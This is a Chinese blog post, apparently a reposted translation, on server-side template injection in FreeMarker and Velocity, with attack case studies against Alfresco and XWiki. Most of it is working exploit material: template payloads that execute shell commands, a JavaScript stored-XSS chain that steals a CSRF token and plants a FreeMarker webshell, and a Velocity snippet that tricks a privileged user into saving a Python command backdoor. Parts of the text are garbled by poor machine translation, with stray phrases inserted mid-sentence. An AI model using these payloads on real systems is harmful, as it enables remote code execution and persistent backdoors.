
原文地址:
原文链接:
最近看了这篇文章,其实也不是新技术,但是作者给出的两个攻击案例很不错,看到drops里面有人翻译了这篇文章,但是没有把攻击案例翻译下来,于是把这部分内容补充上。这两个案例分别针对FreeMarker和Velocity,所以把作者针对这两个模板引擎编写Exploit的过程也翻译起来。
很多的模版引擎都会试图限制模板程序执行任意代码能力,来避免应用层逻辑对通配符引擎的攻击。还有一些模版引擎则尝试借助沙盒等方式来安全处理不可信的客户输入。在很多举措之下,开发一个模板后门变得比较有挑战性。
FreeMarke是最流行的Java模板之一,也是最频繁的交给客户操作的模版。FreeMarker官网解释了允许“用户提供”模板的危险性:

对应翻译:
22.可以禁止用户上传模板文件吗,这对安全性有妨碍吗? 一般来说,你不应当禁止顾客做这样的操作,除非是管理员或者可靠用户。考虑到模板就是和*.java文件类似的源代码文件。如果你依然想要允许客户上传模板文件,这里是你应当考量的东西:
在一些类似DoS这种低风险安全弊端以后,我们可以提到上面这个:

对应翻译:
内置的new操作符 (Configuration.setNewBuiltinClassResolver,Environment.setNewBuiltinClassResolver):在模版文件中像这样使用”com.example.SomeClass”?new(),这个对FTL库来说很重要,但是在正常的模版文件中时不需要使用。FreeMarker中包括一个TemplateModel接口,这个接口可以用于构造任意java对象,new操作符可以实例化TemplateModel的推动类。有一些危险的TemplateModel实现类有可能会在classpath中。 就算一个类没有实现TemplateModel接口,这个类上面的静态代码块也会被执行。为了防止这种状况发生,你可以使用TemplateClassResolver类来阻碍对类的访问,像上面这样: TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
这条警告略显神秘,但是它让我们想到借助内置的new操作符来完成exp也许是可以的。让我们看一下关于new操作符的文档:


对应翻译:
这个内置的操作符需要导致安全关注,因为模版的编写人可以借助它来构造任意java对象之后使用很多构造处理的java对象,只要人们推动了TemplateModel接口。而且模版编写者还能够触发类中静态代码块中的代码,即使这个类没有实现TemplateModel接口。如果你允许不是很认同的客户上传模板,你需要看一下下面这个主题。
TemplateModel的推动类中存在对我们有用的类吗?让我们来看一下这个接口的JavaDoc:

一个类的名字出现了:Execute。
查看这个类的详情可以看到它才能做我们想要做的事:接收输入并且执行

使用它非常简单:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
这个payload在上面将会比较有用。
经过对TemplateModel的其他实现类进行研究,发现ObjectConstructor类同样很有用雅虎邮箱后缀,从名字上就可以看进去,这个类是拿来构造其他类的对象的,看一下代码就可以知道能否使用了:

通过代码可以提到提供类名称和构造函数的参数,就可以借助ObjectConstructor类构造我们想要的类雅虎邮箱后缀,有了这个我们就可以执行任意java代码了,下面给出两个实例,一个是执行命令,另一个是文件加载。
Velocity是另一个流行的Java模板框架,非常难exploit。没有“安全注意事项”页面来强调存在风险的数组和外部函数。下面这张图片显示的是用Burp暴力破解变量名,左侧是payload右边是服务器的返回值。


变量class看起来有用,因为它返回了一个Object类的Class对象。通过Google找到了这个链接:

可以提到一个方法和一个属性:

我们可以把$class.inspect和$class.type结合起来构造任意的对象。然后我们就可以借助Runtime.exec()执行任意命令了。这个设想用上面的代码可以确定,这段代码会导致一个延迟。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
获取命令执行结果有一点麻烦:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
不得不说原文作者的步骤有点麻烦,而且这种方法没法用在Velocity Tool中,不能用在Velocity Engine中,其实这个直接用反射就可以,代码如下:
#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
Alfresco 是一个CMS系统。低权限用户可以依托一个存储XSS漏洞,利用FreeMarker模板注入方法获取WebShell。前面建立的FreeMarker后门可以直接使用,但是我把它扩展成了用请求参数成为命令的方式:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex(url.getArgs())}
低权限客户没有权限编辑模板,但是可以借助存储XSS利用管理员账户来加装这个后门。我编写了上面的JavaScript代码来完成这种攻击:

#!javascript
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
模板的GUID是有差距的,但是低权限的客户也可以很容易的借助“数据字典”获得。此外和其他应用的管理员可以控制整个web服务器不同,alfresco系统管理员可以做的操作是有严格限制的。

XWiki Enterprise是一个wiki程序。在默认配置状况下,匿名的客户可以登录用户并且编辑wiki页面时可以内嵌Velocity模板代码。这种特点让它变成了模版注入的梦想目标。然而,前面建立的Velocity payload是不能用的,原因是$class在这里是不能使用的。
XWiki对于Velocity是这样说的:

对应翻译:
XWiki沙盒通过提供安全的对象访问,并且每个API调用都会检查权限,禁止对未授权的资源进行操作,所以不需要特别的权限控制。其他类库语言还要脚本语言编写人有权限执行他们,但是除此之外,访问的是服务器上的所有资源。
…… 没有权限就不能实例化对象,只能使用文字和XWiki APIs提供的安全的资源。如果依照XWiki提供的恰当方法,XWiki可以安全的研发出少量的应用来。
…… 浏览包括脚本的页面是不需要拥有Programming权限的,只有在保存的之后还要。
换句话来说,XWiki不仅支持Velocity,也支持Groovy和Python这种没有沙盒的类库。然而这种操作还要programming权限。这是个好事,因为它把提权转变成了任意代码执行。由于我们只能使用Velocity,我们应当使用XWiki API。
$doc类又一些很有趣的办法,聪明的读者可能会发现一个缺陷:

一个wiki页面的内容作者是最后一个编辑它的用户。save方法和saveAsAuthor方法的不同说明,save方法不会用作者身份保存内容,而是用当前访问页面用户的身份。换句话说,一个低权限客户可以建立一个wiki页面,当拥有programming权限的用户查看并且编辑保存这个页面的之后脚本才会执行。我们来注入上面这个Python后门:
#!python
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
我们只应该添加一些代码来获得管理员的权限:
innocent content
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
")
$doc.save()
#end
当包括有这样内容的页面被一个有programming权限的顾客查看的过后,后门会手动调试。之后所有访问这个页面的人都可以执行任意命令了:

作者强调的这种攻击模式还是很不错的,以前也知道这种模板文件可以拿来执行任意代码,但是没有很深入的去反思进一步的借助形式,传统的攻击模式一般是获得后台管理员权限,然后借助上传等漏洞getshell,但貌似后台编辑模板的功能好多之后就可以直接执行任意代码,经过检测大部分具有编辑模板功能的应用都存在类似难题,看来在攻击过程中对科技理解越浅显思路就越广。
去打赏
您的支持将引导我们继续创作!
微信支付
支付宝

用 [微信] 扫描条形码打赏

用 [支付宝] 扫描条形码打赏
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/tongxinshuyu/article-120102-1.html
好有范
一个生病孩子急需大家的帮助